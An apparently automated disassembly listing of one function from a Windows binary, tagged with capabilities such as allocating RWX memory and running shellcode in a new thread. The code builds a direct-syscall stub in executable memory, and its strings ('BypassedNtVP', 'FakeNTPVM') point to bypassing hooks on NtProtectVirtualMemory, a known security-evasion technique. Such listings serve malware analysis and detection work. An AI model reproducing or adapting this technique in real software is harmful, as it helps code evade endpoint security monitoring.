Function at 0x18001ecd0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0xa0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x180163880]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r14, r8
mov rbp, rdx
mov rsi, rcx
mov r15, qword [rsp + 0xf0]
xor ebx, ebx
movdqa xmm6, xmmword [0x180149e60]
movdqa xmm7, xmmword [0x180149e70]
mov dword [rsp + 0x60], 0x90909090
mov dword [rsp + 0x64], 0xf909090
mov word [rsp + 0x68], 0x9005
mov rdi, qword [0x180167538]
test rdi, rdi
jne 0x18001ed79
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
lea r8d, [rbx + 0x2b]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x180167538], rax
mov rdx, rax
lea rcx, str.Alloced:__p_n
call fcn.180005bb0
mov rdi, qword [0x180167538]
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
movsd xmm0, qword [rsp + 0x60]
movsd qword [rdi + 0x20], xmm0
movzx eax, word [rsp + 0x68]
mov word [rdi + 0x28], ax
mov byte [rdi + 0x2a], 0xc3
mov ecx, Ordinal_50
call fcn.1801049a0
mov qword [rax], r15
mov dword [rax + 8], 0x40
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 0x28], rdi
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1800171b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x18001eec3
lea rcx, [rsp + 0x30]
call fcn.18000a000
nop
cmp dword [rsp + 0x38], 0
je 0x18001ee0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rdx, str.GetLastError___BypassedNtVP__alloc__:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18000d510
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000d6e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x18001ee7d
nop dword [rax]
lea rcx, str.Trying_again..._n
call fcn.180005bb0
mov qword [rsp + 0x20], r15
mov r9d, 0x40
mov r8, r14
mov rdx, rbp
mov rcx, rsi
call rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x18001ee50
lea rcx, str.Called_FakeNTPVM__Restoring_original_func_n
call fcn.180005bb0
lea rcx, str.All_done__n
call fcn.180005bb0
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180104980
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x38], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3